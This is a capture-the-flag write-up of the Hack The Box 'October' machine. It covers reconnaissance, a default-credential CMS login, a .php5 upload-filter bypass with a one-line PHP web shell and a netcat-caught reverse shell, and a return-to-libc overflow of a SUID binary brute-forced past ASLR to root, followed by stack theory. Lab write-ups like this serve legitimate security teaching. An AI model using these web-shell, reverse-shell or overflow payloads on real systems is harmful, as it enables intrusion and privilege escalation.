Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sVC --min-rate 1000 `IP` -oN nmap.out
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open ssl/http?
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Whatweb or wapplyzer shows October CMS running:
1
2
$ whatweb 10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]
Directory brute-forcing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -u http://10.10.10.16/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.10.16/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
forum [Status: 200, Size: 9588, Words: 5018, Lines: 217]
blog [Status: 200, Size: 4253, Words: 1470, Lines: 104]
themes [Status: 301, Size: 310, Words: 20, Lines: 10]
modules [Status: 301, Size: 311, Words: 20, Lines: 10]
account [Status: 200, Size: 5090, Words: 1573, Lines: 146]
tests [Status: 301, Size: 309, Words: 20, Lines: 10]
storage [Status: 301, Size: 311, Words: 20, Lines: 10]
plugins [Status: 301, Size: 311, Words: 20, Lines: 10]
backend [Status: 302, Size: 400, Words: 60, Lines: 12]
Blog [Status: 200, Size: 4253, Words: 1470, Lines: 104]
Forum [Status: 200, Size: 9588, Words: 5018, Lines: 217]
error [Status: 200, Size: 3343, Words: 1043, Lines: 78]
Accessing /backend gives us /backend/backend/auth/signin
which gives us a username and password field for admin. Trying admin:admin works!
Foothold
There’s a media option where we can upload any files. Searching for exploits:
1
2
3
4
5
6
7
8
9
10
11
12
$ searchsploit october cms
-------------------------------------------------------------------------- ----------------------
Exploit Title | Path
-------------------------------------------------------------------------- ----------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit) | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenticated) | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery | php/webapps/43106.txt
-------------------------------------------------------------------------- ----------------------
There’s a multiple vulnerabilities .txt file which mentions php upload protection bypass with .php5 extensions as they aren’t blocked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ searchsploit php/webapps/41936.txt -x
1. PHP upload protection bypass
-------------------------------
Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().
==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109 return [
110 // redacted
111 'php',
112 'php3',
113 'php4',
114 'phtml',
115 // redacted
116 ];
117 }
==================== source end ========================
We can easily bypass file upload restriction on those systems by using an
alternative extension, e.g if we upload sh.php5 on the server:
==================== source start ========================
<?php $_REQUEST['x']($_REQUEST['c']);
==================== source end ========================
Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=system&c=pwd
Uploading pentestmonkey php reverse shell, accessing it at /storage/app/media/phprev.php5
1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.16 53438
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
12:19:49 up 1:58, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1304): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/$
Privesc
Checking for SUIDs gives /usr/local/bin/ovrflw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@october:/home/harry$ find / -type f -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw
Protections
ASLR is running on the host:
1
2
www-data@october$ cat /proc/sys/kernel/randomize_va_space
2
You can confirm that by checking the libc address in every run using ldd
.
1
2
3
4
5
6
7
8
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7622000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ac000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75de000)
Even if the ASLR in on, the libc address is only chaning from 0xb7500000 to 0xb76ff000.
5 -> 6 gives 1 bit and 00->ff gives 8 bits which means only 9 bits are changing everytime.
2^9=512, which means we have 1 in 512 chance of guessing the right address or 1 - (511/512)^1 = 0.2% chance of success.
But if I try for like 1000 times: 1 - (511/512)^1000 = 85.84% chance of success.
This gets to 99.99% if I try for something like 5000 times.
Looking for additional protections:
1
2
3
4
5
6
7
$ checksec ovrflw
[*] '/root/HTB/October/privesc/ovrflw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX means that I can’t run shellcode from the stack, which is where I can write.
Finding offset
Creating a pattern
1
2
$ pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Finding the RIP address
1
2
3
$ dmesg | tail -n 2
[153611.455267] ovrflw[225760]: segfault at 64413764 ip 0000000064413764 sp 00000000ffc8a040 error 14 in libc-2.31.so[f7d92000+1d000]
[153611.455276] Code: Unable to access opcode bytes at RIP 0x6441373a.
Finding the offset
1
2
3
$ pattern_offset.rb -q 0x6441373a
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 112 (adjusted [ little-endian: -42 | big-endian: 652758 ] ) byte offset 0
OR
Using gdb-peda
Creating a pattern
1
2
3
4
5
$ gdb -q ./ovrflw
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Finding the RIP address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Starting program: /root/HTB/October/privesc/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd400 ("QAAmAARAAoAA")
EDX: 0xffffd126 ("QAAmAARAAoAA")
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd114 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd118 ("AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd11c ("AkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd120 ("PAAlAAQAAmAARAAoAA")
0020| 0xffffd124 ("AAQAAmAARAAoAA")
0024| 0xffffd128 ("AmAARAAoAA")
0028| 0xffffd12c ("RAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
Finding the offset
1
2
3
4
gdb-peda$ pattern_offset AA8A
AA8A found at offset: 112
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
Confirming the offset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run `python3 -c 'print("A"*112 + "BBBB")'`
Starting program: /root/HTB/October/privesc/ovrflw `python3 -c 'print("A"*112 + "BBBB")'`
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd400 ("AAAAAAAABBBB")
EDX: 0xffffd124 ("AAAAAAAABBBB")
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd130 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd130 --> 0x0
0004| 0xffffd134 --> 0xffffd1d4 --> 0xffffd377 ("/root/HTB/October/privesc/ovrflw")
0008| 0xffffd138 --> 0xffffd1e0 --> 0xffffd40d ("SHELL=/bin/bash")
0012| 0xffffd13c --> 0xffffd164 --> 0x0
0016| 0xffffd140 --> 0xffffd174 --> 0x15942f77
0020| 0xffffd144 --> 0xf7ffdb40 --> 0xf7ffdae0 --> 0xf7fca3e0 --> 0xf7ffd980 --> 0x0
0024| 0xffffd148 --> 0xf7fca410 --> 0x804828a ("GLIBC_2.0")
0028| 0xffffd14c --> 0xf7fa1000 --> 0x1e4d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Bypass NX-Stack(DEP) with Retn to libc
https://css.csail.mit.edu/6.858/2011/readings/return-to-libc.pdf Returning to libc is a method of exploiting a buffer overflow on a system that has a non-executable stack, it is very similar to a standard buffer overflow, in that the return address is changed to point at a new location that we can control. However since no executable code is allowed on the stack we can’t just tag in shellcode.
This is the reason we use the return into libc trick and utilize a function provided by the library. We still overwrite the return address with one of a function in libc, pass it the correct arguments and have that execute for us. Since these functions do not reside on the stack, we can bypass the stack protection and execute code.
We know the buffer length, need to find the address of a library function that we want to execute.
Finding address of libc with ldd
:
“ldd prints the shared objects (shared libraries) required by each program or shared object specified on the command line.”
1 2 www-data@october:$ ldd /usr/local/bin/ovrflw | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757e000)
Getting offsets for system, exit and /bin/sh with readelf
:
“readelf displays information about one or more ELF format object files.”
1 2 3 www-data@october$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e "system@@" -e "exit@@" 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
1
2
www-data@october$ strings -at x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
162bac /bin/sh
and for this libc base (which is right for 1/512 times)
1
2
3
4
5
6
7
8
9
system address = libc address + system offset in libc
= 0xb757e000 + 0x00040310
= 0xb75be310
exit address = libc address + exit offset in libc
= 0xb757e000 + 0x00033260
= 0xb75b1260
/bin/sh address = libc address + /bin/sh offset in libc
= 0xb757e000 + 0x162bac
= 0xb76e0bac
Buffer overflow goes: JUNK + SYSTEM (overwrite ret address) + EXIT (add next return address) + “/bin/sh” (arguments).
Exploit
If ASLR weren’t enabled, I could just do this:
1
$ /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\xe3\x5b\xb7" + "\x60\x12\x5b\xb7" + "\xac\x0b\x6e\xb7"');
Because ASLR is enabled, I can simple run an infinite loop, to run this and there’s 99.99% chance of popping a shell in 5000 tries.
1
2
3
4
5
6
7
8
9
$ while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\xe3\x5b\xb7" + "\x60\x12\x5b\xb7" + "\xac\x0b\x6e\xb7"'); echo -n "Try $i:"; let "i++";done
Try 67:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
Try 68:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
Try 69:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
whoami
root
cat /root/root.txt
6bcb9cff749c9318d2a6e71bbcf30318
Beyond root
Theory
This is what the code looks like from ghidra:
1
2
3
4
5
6
7
8
9
10
11
undefined4 main(int param_1,undefined4 *param_2)
{
char local_74 [112];
if (param_1 < 2) {
printf("Syntax: %s <input string>\n",*param_2);
exit(0);
}
strcpy(local_74,(char *)param_2[1]);
return 0;
}
And this is what it looks in assembly code:
1
2
3
4
080484b5 89 44 24 04 MOV dword ptr [ESP + local_8c],EAX //copy the value in EAX to the address esp+local_8c
080484b9 8d 44 24 1c LEA EAX=>local_74,[ESP + 0x1c] //copy the value at esp+0x1c to EAX
080484bd 89 04 24 MOV dword ptr [ESP]=>local_90,EAX //copy EAX to the value at ESP
080484c0 e8 7b fe ff ff CALL strcpy //call strcpy
How Stack works?
Stack allows a function to call another function, knowing that function could call any number of functions. Each time a function returns, it is able to put the state back as it is expected by the calling function.
When the call instruction is reached:
Pushes the next instruction to the top of the stack (as the return address)
Jumps execution to the new function. The next function is going to start with some common stuff, known as the prologue.
1 2 3
push ebp // push ebp on to the stack mov ebp, esp // copy esp to ebp sub esp, 0x100 // subtract 0x100 from esp, creating a new frame
Which makes a 0x100 frame between ESP and EBP after the prologue ends.
Lets see that:
call
pushes return address:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
+-------------+ | | +-------------+ | ret addr | <-- ESP +-------------+ 0xffffd100 | copy to | +-------------+ | copy from | +-------------+ | | +-------------+ ... +-------------+ | | +-------------+ 0xffffd188 | | <-- EBP +-------------+
- Finally after the prologue stack looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
+-------------+ 0xffffcef8 | | <-- ESP +-------------+ ... +-------------+ | | +-------------+ | | +-------------+ 0xffffcff8 | 0xffffd188 | <-- EBP +-------------+ | ret addr | +-------------+ 0xffffd100 | copy to | +-------------+ | copy from | +-------------+ | | +-------------+ ... +-------------+ | | +-------------+ 0xffffd188 | | +-------------+
- When a function is done, it will typically end with:
1 2
leave ret
leave == mov esp, ebp + pop ebp
Then when the return happens, the instruction pointer is popped, bringing that stack back to where it started (which we saw in step 1):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+-------------+
| 0xffffd188 |
+-------------+
| ret addr |
+-------------+
0xffffd100 | copy to | <-- ESP
+-------------+
| copy from |
+-------------+
| |
+-------------+
...
+-------------+
| |
+-------------+
0xffffd188 | | <-- EBP
+-------------+
Theory for Return to libc
A return to libc attack involves overwriting the return address in such a way that the computer jumps to the function I want.
- If I’ve to call system(“/bin/sh”) , I would enter the function after the call but before the prologue. Stack looks something like this:
1 2 3 4 5 6 7 8 9
+-------------+ | ret addr | <-- ESP +-------------+ | "/bin/sh" | +-------------+ | | +-------------+ ... <-- EBP
- Also the
system
is not reached via acall
but aret
. Which means instead of EBP address before return address, if I put system address,ret
will pop the system address into the instruction pointer (Step 3) and the stack will look right. Since I don’t know the right return address, I’ll just use the function exit. So we overwrite the return address with a system address, add another ret address and add arguments after that.
Now the stack looks like this when we reach return:
1
2
3
4
5
6
7
8
9
10
11
+-------------+
| system addr | <-- ESP
+-------------+
| ret addr |
+-------------+
| "/bin/sh" |
+-------------+
| |
+-------------+
...
<-- EBP
Huge thanks to 0xdf for such a detailed writeup. If you still don’t understand the Theory, give October by 0xdf a read.